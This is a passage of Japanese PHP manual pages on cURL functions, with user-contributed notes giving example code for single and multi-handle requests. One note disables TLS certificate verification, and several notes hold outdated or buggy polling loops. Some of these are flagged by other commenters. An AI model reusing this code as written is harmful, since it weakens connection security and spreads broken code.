curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>
Mark Evers 16-Jan-2008 10:14
There is a constant missing from that list.  CURLINFO_REDIRECT_COUNT will give you the number of redirects it went through if CURLOPT_FOLLOWLOCATION was set.
ssttoo at hotmail dot com 06-Apr-2004 12:13
Here are the response codes ready for pasting in an ini-style file. Can be used to provide more descriptive message, corresponding to 'http_code' index of the arrray returned by curl_getinfo().
These are taken from the W3 consortium HTTP/1.1: Status Code Definitions, found at
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

[Informational 1xx]
100="Continue"
101="Switching Protocols"

[Successful 2xx]
200="OK"
201="Created"
202="Accepted"
203="Non-Authoritative Information"
204="No Content"
205="Reset Content"
206="Partial Content"

[Redirection 3xx]
300="Multiple Choices"
301="Moved Permanently"
302="Found"
303="See Other"
304="Not Modified"
305="Use Proxy"
306="(Unused)"
307="Temporary Redirect"

[Client Error 4xx]
400="Bad Request"
401="Unauthorized"
402="Payment Required"
403="Forbidden"
404="Not Found"
405="Method Not Allowed"
406="Not Acceptable"
407="Proxy Authentication Required"
408="Request Timeout"
409="Conflict"
410="Gone"
411="Length Required"
412="Precondition Failed"
413="Request Entity Too Large"
414="Request-URI Too Long"
415="Unsupported Media Type"
416="Requested Range Not Satisfiable"
417="Expectation Failed"

[Server Error 5xx]
500="Internal Server Error"
501="Not Implemented"
502="Bad Gateway"
503="Service Unavailable"
504="Gateway Timeout"
505="HTTP Version Not Supported"

And an example usage:
<?php
$ch = curl_init(); // create cURL handle (ch)
if (!$ch) {
    die("Couldn't initialize a cURL handle");
}
// set some cURL options
$ret = curl_setopt($ch, CURLOPT_URL,            "http://mail.yahoo.com");
$ret = curl_setopt($ch, CURLOPT_HEADER,         1);
$ret = curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$ret = curl_setopt($ch, CURLOPT_TIMEOUT,        30);

// execute
$ret = curl_exec($ch);

if (empty($ret)) {
    // some kind of an error happened
    die(curl_error($ch));
    curl_close($ch); // close cURL handler
} else {
    $info = curl_getinfo($ch);
    curl_close($ch); // close cURL handler

    if (empty($info['http_code'])) {
            die("No HTTP code was returned");
    } else {
        // load the HTTP codes
        $http_codes = parse_ini_file("path/to/the/ini/file/I/pasted/above");

        // echo results
        echo "The server responded: <br />";
        echo $info['http_code'] . " " . $http_codes[$info['http_code']];
    }

}
?>


cURL セッションを初期化する

  • ≪ curl_getinfo
  • curl_multi_add_handle ≫
  • PHP Manual
  • cURL 関数
  • cURL セッションを初期化する

curl_init

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_init — cURL セッションを初期化する

説明

curl_init ( string|null $url = null ) : CurlHandle|false

新規セッションを初期化し、cURL ハンドルを返します。このハンドルは、関数 curl_setopt(), curl_exec(), curl_close() で使用します。

パラメータ

url

urlを指定した場合、オプション CURLOPT_URL がそのパラメータの値に設定されます。関数 curl_setopt() により、 この値をマニュアルで設定することも可能です。

注意:

open_basedir が設定されている場合、cURL で file プロトコルは使えなくなります。

返り値

成功した場合に cURL ハンドル、エラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功時に、この関数は CurlHandle クラスのインスタンスを返すようになりました。 これより前のバージョンでは、resource を返していました。
8.0.0 | url は、nullable になりました。

例

例1 新しい cURL セッションを初期化し、ウェブページを取得する

<?php
// 新しい cURL リソースを作成します
$ch = curl_init();

// URL や他の適当なオプションを設定します
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// URL を取得し、ブラウザに渡します
curl_exec($ch);

// cURL リソースを閉じ、システムリソースを解放します
curl_close($ch);
?>

参考

  • curl_close() - cURL セッションを閉じる
  • curl_multi_init() - 新規 cURL マルチハンドルを返す

User Contributed Notes

webmaster at jamescobban dot net 15-Jan-2021 01:07
On recent distributions CURL and PHP support for CURL have not been included in the main product.  In particular in recent distributions of Ubuntu Linux CURL and PHP support for CURL are not even available from the official repositories.  The steps to incorporate support are complex and require adding a non-standard repository.  It is therefore advisable for programmers to rewrite code to use the stream interface to access resources across the Internet.  For example:

```php
$opts = array(
        'http' => array (
            'method'=>"POST",
            'header'=>
              "Accept-language: en\r\n".
              "Content-type: application/x-www-form-urlencoded\r\n",
            'content'=>http_build_query(array('foo'=>'bar'))
  )
);

$context = stream_context_create($opts);

$fp = fopen('https://www.example.com', 'r', false, $context);

```

This stream support can also be accessed using the object-oriented interface of SplFileObject.


cURL マルチハンドルに、通常の cURL ハンドルを追加する

  • ≪ curl_init
  • curl_multi_close ≫
  • PHP Manual
  • cURL 関数
  • cURL マルチハンドルに、通常の cURL ハンドルを追加する

curl_multi_add_handle

(PHP 5, PHP 7, PHP 8)

curl_multi_add_handle — cURL マルチハンドルに、通常の cURL ハンドルを追加する

説明

curl_multi_add_handle ( CurlMultiHandle $multi_handle , CurlHandle $handle ) : int

handle ハンドルを、マルチハンドル multi_handle に追加します。

パラメータ

multi_handle

curl_multi_init() が返す cURL マルチハンドル。

handle

curl_init() が返す cURL ハンドル。

返り値

成功した場合に 0、あるいはエラーコード CURLM_XXX のいずれかを返します。

変更履歴

バージョン | 説明
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_multi_add_handle() の例

この例は、ふたつの cURL ハンドルを作成し、それをマルチハンドルに追加して非同期で実行します。

<?php
// cURL リソースを作成します
$ch1 = curl_init();
$ch2 = curl_init();

// URL およびその他適切なオプションを設定します。
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// マルチ cURL ハンドルを作成します
$mh = curl_multi_init();

// ふたつのハンドルを追加します
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// ハンドルを実行します
do {
    $status = curl_multi_exec($mh, $active);
    if ($active) {
        curl_multi_select($mh);
    }
} while ($active && $status == CURLM_OK);

// すべてのハンドルを閉じます
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);
?>

参考

  • curl_multi_remove_handle() - cURL ハンドルのセットからマルチハンドルを削除する
  • curl_multi_init() - 新規 cURL マルチハンドルを返す
  • curl_init() - cURL セッションを初期化する

User Contributed Notes

3315954155 at libero dot it 20-Jul-2018 04:18
Sometime with arrays and loops (i.e. for or do while or foreach) curl_multi_init  loses some hits, to work around this problem  it is necessary to divide the loop into two parts: the start with key number zero and than, all the rest. In this way the curl_multi_init doesn't lose any hits. I did a lot of test and it seems to work well enough.
<?php

function set_option($x, $y){
curl_setopt($x, CURLOPT_URL,  $y);
curl_setopt($x, CURLOPT_HEADER, 0);
curl_setopt($x, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($x, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($x, CURLOPT_ENCODING, "gzip,deflate");
}

$nodes = array('http://php.net/manual/it/function.curl-multi-add-handle.php',
'http://php.net/manual/en/function.curl-multi-init.php',
'http://php.net/manual/en/function.curl-multi-setopt.php'
);

$node_count = count($nodes);

$curl_arr = array();
$master = curl_multi_init();
/*
now I put the first part of the array with the start key number zero, add all
options and add the curl_multi_add_handle;
it is necessary to detach this first part to avoid to lose some handles and than running
 the loop with the start key number one.
In this way the curl_multi_init doesn't lose anything and seems to be very stable.
*/
    $curl_arr[0] = curl_init($nodes[0]);
    set_option($curl_arr[0], $nodes[0]);
    curl_multi_add_handle($master, $curl_arr[0]);

/*
now the loop can start with key number one
*/
$i = 1;
do {
    if ($i!==0){

    $curl_arr[$i] = curl_init($nodes[$i]);
    set_option($curl_arr[$i], $nodes[$i]);
    curl_multi_add_handle($master, $curl_arr[$i]);
    }
$i++;
}while($i < $node_count);

$running = NULL;
do {
    curl_multi_exec($master,$running);
} while($running);

$results = array();
$q = 0;
do{
 $results[$q] = curl_multi_getcontent($curl_arr[$q]);
 curl_multi_remove_handle($master, $curl_arr[$q]);
$q++;
}while($q < $node_count);

foreach($results as $value){
 echo $value;
}

?>
kamsamlt888 at gmail dot com 06-Apr-2018 09:47
$nodes = array('http://www.google.com', 'http://www.microsoft.com', 'http://yahoo.com');
$node_count = count($nodes);

$curl_arr = array();
$master = curl_multi_init();

for($i = 0; $i < $node_count; $i++)
{
    $url =$nodes[$i];
    $curl_arr[$i] = curl_init($url);
    curl_setopt($curl_arr[$i], CURLOPT_RETURNTRANSFER, true);
    curl_multi_add_handle($master, $curl_arr[$i]);
}

do {
    curl_multi_exec($master,$running);
} while($running > 0);

echo "results: ";
for($i = 0; $i < $node_count; $i++)
{
    $results = curl_multi_getcontent  ( $curl_arr[$i]  );
    echo( $i . "\n" . $results . "\n");
}
echo 'done';
Anonymous 24-Dec-2012 06:29
The 'do' loop in this example will cycle indefinitely until all curl downloads complete, needlessly using CPU cycles.  A much better way is to block while dowloads are in progress.  Refer to the example code on the curl_multi_exec() page instead, which does this!


cURL ハンドルのセットを閉じる

  • ≪ curl_multi_add_handle
  • curl_multi_errno ≫
  • PHP Manual
  • cURL 関数
  • cURL ハンドルのセットを閉じる

curl_multi_close

(PHP 5, PHP 7, PHP 8)

curl_multi_close — cURL ハンドルのセットを閉じる

説明

curl_multi_close ( CurlMultiHandle $multi_handle ) : void

cURL ハンドルのセットを閉じます。

パラメータ

multi_handle

curl_multi_init() が返す cURL マルチハンドル。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_multi_close() の例

この例は、ふたつの cURL ハンドルを作成し、それをマルチハンドルに追加して非同期で実行します。

<?php
// cURL リソースを作成します
$ch1 = curl_init();
$ch2 = curl_init();

// URL およびその他適切なオプションを設定します。
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// マルチ cURL ハンドルを作成します
$mh = curl_multi_init();

// ふたつのハンドルを追加します
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// ハンドルを実行します
do {
    $status = curl_multi_exec($mh, $active);
    if ($active) {
        curl_multi_select($mh);
    }
} while ($active && $status == CURLM_OK);

// ハンドルを閉じます
curl_multi_remove_handle($mh, $ch1);
curl_close($ch1);
curl_multi_remove_handle($mh, $ch2);
curl_close($ch2);
curl_multi_close($mh);

?>

参考

  • curl_multi_init() - 新規 cURL マルチハンドルを返す
  • curl_close() - cURL セッションを閉じる

User Contributed Notes

There are no user contributed notes for this page.


直近のマルチハンドルに対するエラー番号を返す

  • ≪ curl_multi_close
  • curl_multi_exec ≫
  • PHP Manual
  • cURL 関数
  • 直近のマルチハンドルに対するエラー番号を返す

curl_multi_errno

(PHP 7 >= 7.1.0, PHP 8)

curl_multi_errno — 直近のマルチハンドルに対するエラー番号を返す

説明

curl_multi_errno ( CurlMultiHandle $multi_handle ) : int

直近のマルチハンドルに対するエラー番号を含んだ数値を返します。

パラメータ

multi_handle

curl_multi_init() が返す cURL マルチハンドル。

返り値

直近のマルチハンドルに対するエラー番号を含んだ数値を返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

参考

  • curl_errno() - 直近のエラー番号を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の cURL ハンドルから、サブ接続を実行する

  • ≪ curl_multi_errno
  • curl_multi_getcontent ≫
  • PHP Manual
  • cURL 関数
  • 現在の cURL ハンドルから、サブ接続を実行する

curl_multi_exec

(PHP 5, PHP 7, PHP 8)

curl_multi_exec — 現在の cURL ハンドルから、サブ接続を実行する

説明

curl_multi_exec ( CurlMultiHandle $multi_handle , int &$still_running ) : int

スタック内の各ハンドルを処理します。 このメソッドは、ハンドルがデータの読み書きを要するかどうかにかかわらずコール可能です。

パラメータ

multi_handle

curl_multi_init() が返す cURL マルチハンドル。

still_running

処理が実行中かどうかを表すフラグへの参照。

返り値

cURL 定義済み定数 で定義された cURL コードを返します。

注意:

これは、マルチスタック全体に関するエラーのみを返します。この関数が CURLM_OK を返したとしても、各転送で個別にエラーが発生している可能性があります。

変更履歴

バージョン | 説明
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_multi_exec() の例

この例は、ふたつの cURL ハンドルを作成し、それをマルチハンドルに追加して非同期で実行します。

<?php
// cURL リソースを作成します
$ch1 = curl_init();
$ch2 = curl_init();

// URL およびその他適切なオプションを設定します。
curl_setopt($ch1, CURLOPT_URL, "http://example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// マルチ cURL ハンドルを作成します
$mh = curl_multi_init();

// ふたつのハンドルを追加します
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// ハンドルを実行します
do {
    $status = curl_multi_exec($mh, $active);
    if ($active) {
        // Wait a short time for more activity
        curl_multi_select($mh);
    }
} while ($active && $status == CURLM_OK);

// ハンドルを閉じます
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

参考

  • curl_multi_init() - 新規 cURL マルチハンドルを返す
  • curl_multi_select() - curl_multi 接続のアクティビティを待つ
  • curl_exec() - cURL セッションを実行する

User Contributed Notes

Timo Huovinen 27-Sep-2019 06:53
Just for people struggling to get this to work, here is my approach.
No infinite loops, no CPU 100%, speed can be tweaked.

<?php
function curl_multi_exec_full($mh, &$still_running) {
    do {
        $state = curl_multi_exec($mh, $still_running);
    } while ($still_running > 0 && $state === CURLM_CALL_MULTI_PERFORM && curl_multi_select($mh, 0.1));
    return $state;
}
function curl_multi_wait($mh, $minTime = 0.001, $maxTime = 1){
    $umin = $minTime*1000000;

    $start_time = microtime(true);
    $num_descriptors = curl_multi_select($mh, $maxTime);
    if($num_descriptors === -1){
        usleep($umin);
    }

    $timespan = (microtime(true) - $start_time);
    if($timespan < $umin){
        usleep($umin - $timespan);
    }
}

$handles = [
    [
        CURLOPT_URL=>"http://example.com/",
        CURLOPT_HEADER=>false,
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_FOLLOWLOCATION=>false,
    ],
    [
        CURLOPT_URL=>"http://www.php.net",
        CURLOPT_HEADER=>false,
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_FOLLOWLOCATION=>false,

        // https://stackoverflow.com/a/41135574
        CURLOPT_HEADERFUNCTION=>function($ch, $header)
        {
            print "header from http://www.php.net: ".$header;
            return strlen($header);
        }
    ]
];

$mh = curl_multi_init();

$chandles = [];
foreach($handles as $opts) {
    $ch = curl_init();
    curl_setopt_array($ch, $opts);
    curl_multi_add_handle($mh, $ch);
    $chandles[] = $ch;
}

$prevRunning = null;
do {
    $status = curl_multi_exec_full($mh, $running);
    if($running < $prevRunning){
        while ($read = curl_multi_info_read($mh, $msgs_in_queue)) {

            $info = curl_getinfo($read['handle']);

            if($read['result'] !== CURLE_OK){
                print "Error: ".$info['url'].PHP_EOL;
            }

            if($read['result'] === CURLE_OK){
                /*
                if(isset($info['redirect_url']) && trim($info['redirect_url'])!==''){

                    print "running redirect: ".$info['redirect_url'].PHP_EOL;
                    $ch3 = curl_init();
                    curl_setopt($ch3, CURLOPT_URL, $info['redirect_url']);
                    curl_setopt($ch3, CURLOPT_HEADER, 0);
                    curl_setopt($ch3, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch3, CURLOPT_FOLLOWLOCATION, 0);
                    curl_multi_add_handle($mh,$ch3);
                }
                */

                print_r($info);
                //echo curl_multi_getcontent($read['handle']));
            }
        }
    }

    if ($running > 0) {
        curl_multi_wait($mh);
    }

    $prevRunning = $running;

} while ($running > 0 && $status == CURLM_OK);
foreach($chandles as $ch){
    curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
?>
gmail at com dot asmqb7 10-Apr-2019 01:17
/!\ ATTENTION
/!\ Several of the non-downvoted notes on this page are using outdated info.

The CURLM_CALL_MULTI_PERFORM return code has been defunct since circa 2012, at least seven years ago.

Quoting the author of curl, from https://curl.haxx.se/mail/lib-2012-08/0042.html:

> CURLM_CALL_MULTI_PERFORM is deprecated and will never be returned, as documented.

> During the first decade or so of libcurl's multi interface, I never saw a single proper use of that feature. I did however see numerous mistakes and misunderstandings. That made me decide that the feature wasn't important or good enough, so since 7.20.0 CURLM_CALL_MULTI_PERFORM is no more.

Discovered all of this thanks to https://stackoverflow.com/q/19490837/3229684, which suggested the following replacement while loop:

<?php
do {
    $mrc = curl_multi_exec($mc, $active);
} while ($active > 0);
?>

https://www.google.com/search?q=CURLM_CALL_MULTI_PERFORM <-- probably the most future-proof useful link I can put here
evaisse at gmail dot com 18-May-2018 03:30
This example is not fully working on PHP5.6.

Using curl_multi, and CURLOPT_VERBOSE & CURLOPT_STDERR, If found that sending curl_multi request before any "classic" cURL request will result in timeout error against some hostname. The error message display

    > * Hostname was NOT found in DNS cache

It seems that that adding this line to the first loop solve this problem.

       do {
            $mrc = curl_multi_exec($mh, $active);
            // check errors
            if ($mrc > 0) {
                // display error
                error_log(curl_multi_strerror($mrc));
            }
        } while ($mrc === CURLM_CALL_MULTI_PERFORM || $active);

source : https://stackoverflow.com/questions/30935541/php-curl-error-hostname-was-not-found-in-dns-cache
Silvio Garbes 24-Jun-2016 05:08
// Todas url gravadas em array
$url[] = 'http://www.link1.com.br';
$url[] = 'https://www.link2.com.br';
$url[] = 'https://www.link3.com.br';

// Setando opcao padrao para todas url e adicionando a fila para processamento
$mh = curl_multi_init();
foreach($url as $key => $value){
  $ch[$key] = curl_init($value);
  curl_setopt($ch[$key], CURLOPT_NOBODY, true);
  curl_setopt($ch[$key], CURLOPT_HEADER, true);
  curl_setopt($ch[$key], CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch[$key], CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch[$key], CURLOPT_SSL_VERIFYHOST, false);

  curl_multi_add_handle($mh,$ch[$key]);
}

// Executando consulta
do {
  curl_multi_exec($mh, $running);
  curl_multi_select($mh);
} while ($running > 0);

// Obtendo dados de todas as consultas e retirando da fila
foreach(array_keys($ch) as $key){
  echo curl_getinfo($ch[$key], CURLINFO_HTTP_CODE);
  echo curl_getinfo($ch[$key], CURLINFO_EFFECTIVE_URL);
  echo "\n";

  curl_multi_remove_handle($mh, $ch[$key]);
}

// Finalizando
curl_multi_close($mh);
Zappie 17-Aug-2015 08:36
Probably you also want to be able to download the HTML content into buffers/variables, for parsing the HTML or for other processing in your program.

The example code on this page only outputs everything on the screen, without giving you the possibility to save the downloaded pages in string variables. Because downloading multiple pages is what I wanted to do (not a big surprise, huh? that's the reason for using multi-page parallel Curl) I was initially baffled, because this page doesn't give pointers to a guide how to do that.

Fortunately, there's a way to download content with parallel Curl requests (just like you would do for a single download with the regular curl_exec). You need to use: http://php.net/manual/en/function.curl-multi-getcontent.php

The function curl_multi_getcontent should definitely be mentioned in the "See Also" section of curl_multi_exec. Probably most people who find their way to the docs page of curl_multi_exec, actually want to download the multiple HTML pages (or other content from the multiple parallel Curl connections) into buffers, one page per one buffer.
jorov at mail dot bg 23-Oct-2014 03:22
I tried Daniel G Zylberberg's function and
it was not working the way it was posted.
I made some changes to get it work and here is what I use:

function multiCurl($res, $options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            $opt = curl_setopt_array($ch{$k}, $options);
            var_dump($opt);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        // add handles
        foreach($handles as $k => $handle){
            $err = curl_multi_add_handle($mh, $handle);
        }

        $running_handles = null;

        do {
          curl_multi_exec($mh, $running_handles);
          curl_multi_select($mh);
        } while ($running_handles > 0);

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}
qdujunjie at 126 dot com 17-Sep-2014 02:30
when you run curl_multi_exec() on the OS X mavericks system you may not get the right return, the scripts may running and running but no return value.
That's because on the OSX system with the php version 5.3.8+, when you call the curl_multi_exec() method before calling the curl_multi_select(), may always return the -1.
So here change a little code to running  the curl_multi_exec() successful on OSX below.

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// ?置URL和相?的??
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// ?建批?理cURL句柄
$mh = curl_multi_init();

// 增加2个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
qdujunjie at 126 dot com 17-Sep-2014 02:22
当在OS X mavericks中?行curl_multi_exec()?，
可能会得不到想要的?果，
因?脚本会一直?行但是却没有返回?，
?是因?在OS X中当php在5.3.8以上版本?，
在?用curl_multi_exec()方法之前curl_multi_select()会一直返回-1，
所以?里改写一下脚本，
可以在OS X中成功?行：

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// ?置URL和相?的??
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// ?建批?理cURL句柄
$mh = curl_multi_init();

// 增加2个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
pulksh at gmail dot com 06-Mar-2014 09:28
This example not working on window 7 with php version 5.3.27.
Ren 17-Aug-2013 01:54
Solve CPU 100% usage, a more simple and right way:

<?php

do {
    curl_multi_exec($mh, $running);
    curl_multi_select($mh);
} while ($running > 0);

?>
Daniel G Zylberberg 11-Jul-2012 06:00
This function wait for the last page, can get a configuration array with curl options to made a post, or pass timeouts, etc.
Retun the same array but add "error", and "data".Error is the string destription if something fail, data is the response.

<?php
// author: Daniel G Zylberberg
// date 11 jul 2012
// $res: array with structure 0=>array("url"=>"blah"),1=>array("url"=>"some url")
// $options (optional): array with curl options (timeout, postfields, etc)
// return the same array that gets, and add "data" to the current row(html content)
// and "error", with the string description in the case that something fail.

function multiCurl($res,$options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            curl_setopt_array($ch{$k}, $options);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        foreach($handles as $k => $handle){
            curl_multi_add_handle($mh,$handle);
            //echo "<br>adding handle {$k}";
        }

        $running_handles = null;
        //execute the handles
        do {
            $status_cme = curl_multi_exec($mh, $running_handles);
        } while ($cme == CURLM_CALL_MULTI_PERFORM);

        while ($running_handles && $status_cme == CURLM_OK) {
            if (curl_multi_select($mh) != -1) {
                do {
                    $status_cme = curl_multi_exec($mh, $running_handles);
                   // echo "<br>''threads'' running = {$running_handles}";
                } while ($status == CURLM_CALL_MULTI_PERFORM);
            }
        }

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}

$res = array(
        "11"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=1"),
        "13"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=3"),
        "25"=>array("url"=>"this doesn't exist"),

);
print_r( multiCurl($res));
?>

---------- sleep.php -------------------------------------
<?php
sleep($_GET['t']);
echo "sleep for {$_GET['t']} seconds and show this.";
?>
emmet at trovit dot com 25-Jun-2012 04:57
Here's something that had me pulling my hair out for quite a while. I was trying to download multiple files and save each one in a file. If you want to read the file again in the same script that has downloaded the url, always make sure to close the original filehandle that you opened for the connection BEFORE trying to read from the file again, even if you open a new filehandle to do so. If you don't do this, a file_get_contents() or fread() will cut your file and only return a limited size of it, 40960 characters in my case, without any other explanation or error. The file will exist (and be complete) on your disk, PHP just wont show it.

I (perhaps mistakenly) thought this was a bug so I created a bug report, see it for examples of the code I used to recreate this misterious behavior:
https://bugs.php.net/bug.php?id=62409
Jimmy Ruska 13-Sep-2008 11:56
> replying to viczbk.ru

Just sharing my attempt at it.

> while (($res = curl_multi_select($mh)) === 0) {};
This worked on my windows computer (php 5.2.5) but when I ran the curl program in my new centOS server (php 5.1.6) the function never updates unless curl_multi_exec() is added to the loop, taking away the point of using it to save cycles. curl_multi_select() also allows you to set a timeout but it doesn't seem to help, then again, don't see why people wouldn't use it anyway.

Even when curl_multi_select($mh) does work there's no way to know which of the sockets updated in status or if they've received partial data, completely finished, or just timed out. It's not reliable if you want to remove / add data as soon as things finish. Try calling just example.com or some other website with very little data. curl_multi_select($mh) can send non 0 value a couple of thousand times before finishing. Lazily adding a usleep(25000) or some minimal amount can also help not waste cycles.
viczbk.ru 08-Feb-2008 08:04
http://curl.haxx.se/libcurl/c/libcurl-multi.html

"When you've added the handles you have for the moment (you can still add new ones at any time), you start the transfers by call curl_multi_perform(3).

curl_multi_perform(3) is asynchronous. It will only execute as little as possible and then return back control to your program. It is designed to never block. If it returns CURLM_CALL_MULTI_PERFORM you better call it again soon, as that is a signal that it still has local data to send or remote data to receive."

So it seems the loop in sample script should look this way:

<?php
$running=null;
//execute the handles
do {
    while (CURLM_CALL_MULTI_PERFORM === curl_multi_exec($mh, $running));
    if (!$running) break;
    while (($res = curl_multi_select($mh)) === 0) {};
    if ($res === false) {
        echo "<h1>select error</h1>";
        break;
    }
} while (true);
?>

This worked fine (PHP 5.2.5 @ FBSD 6.2) without running non-blocked loop and wasting CPU time.

However this seems to be the only use of curl_multi_select, coz there's no simple way to bind it with other PHP wrappers for select syscall.
robert dot reichel at boboton dot com 20-Oct-2007 05:54
I was testing PHP code provided by dtorop933@gmail.com in curl_multi_exec section of PHP Manual.

The part of the code '$err = curl_error($conn[$i])' should return error message for each cURL session, but it does not.
The function curl_error() works well with the curl_exec(). Is there any other solution for getting session error message with curl_multi_exec() or there is a bug in cURL library.

The script was tested with Windows XP and PHP-5.2.4
substr(&#34;iscampifriese&#34;,1,11) dot &#34; at beer dot com&#34; 04-Jul-2007 06:10
If you are using mulit handles and you wish to re-execute any of them (if they timed out or something), then you need to remove the handles from the mulit-handle and then re-add them in order to get them to re-execute.  Otherwise cURL will just give you back the same results again without actually retrying.


CURLOPT_RETURNTRANSFER が設定されている場合に、cURL ハンドルの内容を返す

  • ≪ curl_multi_exec
  • curl_multi_info_read ≫
  • PHP Manual
  • cURL 関数
  • CURLOPT_RETURNTRANSFER が設定されている場合に、cURL ハンドルの内容を返す

curl_multi_getcontent

(PHP 5, PHP 7, PHP 8)

curl_multi_getcontent — CURLOPT_RETURNTRANSFER が設定されている場合に、cURL ハンドルの内容を返す

説明

curl_multi_getcontent ( CurlHandle $handle ) : string|null

CURLOPT_RETURNTRANSFER に何らかのハンドルが設定されている場合に、 この関数はその cURL ハンドルの内容を文字列形式で返します。

パラメータ

handle

